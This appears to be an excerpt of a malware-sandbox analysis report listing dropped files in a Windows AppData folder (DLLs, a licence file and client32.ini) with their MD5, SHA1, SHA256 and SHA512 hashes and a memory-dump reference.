SHA256 956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd
SHA512 5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f

C:\Users\Admin\AppData\Roaming\DIVX576\pcicapi.dll

MD5 34dfb87e4200d852d1fb45dc48f93cfc
SHA1 35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641
SHA256 2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703
SHA512 f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2

C:\Users\Admin\AppData\Roaming\DIVX576\MSVCR100.dll

MD5 0e37fbfa79d349d672456923ec5fbbe3
SHA1 4e880fc7625ccf8d9ca799d5b94ce2b1e7597335
SHA256 8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18
SHA512 2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

C:\Users\Admin\AppData\Roaming\DIVX576\NSM.LIC

MD5 1b41e64c60ca9dfadeb063cd822ab089
SHA1 abfcd51bb120a7eae5bbd9a99624e4abe0c9139d
SHA256 f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d
SHA512 c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4

C:\Users\Admin\AppData\Roaming\DIVX576\client32.ini

MD5 98043670d8c850e878e333312fcfa25a
SHA1 dc795e8b906d70ee5854a6797e0c1557375bc443
SHA256 0e7679bf30f5278850e4ff560975cce34d125e04463290ca8c0bf7065da3eecc
SHA512 13295bcf155a8dbc0afaa44dd746801e8087a3f3436c43b2879dbd1f7895faed122f06235814be887d6e305bf181135fc07b6beebf3ea30435282050ac88f201

memory/2596-115-0x00007FFACB6C0000-0x00007FFACC0AC000-memory.dmp

\Users\Admin\AppData\Roaming\DIVX576\HTCTL32.DLL

MD5 c94005d2dcd2a54e40510344e0bb9435
SHA1 55b4a1620c5d0113811242c20bd9870a1e31d542
SHA256 3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899
SHA512 2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a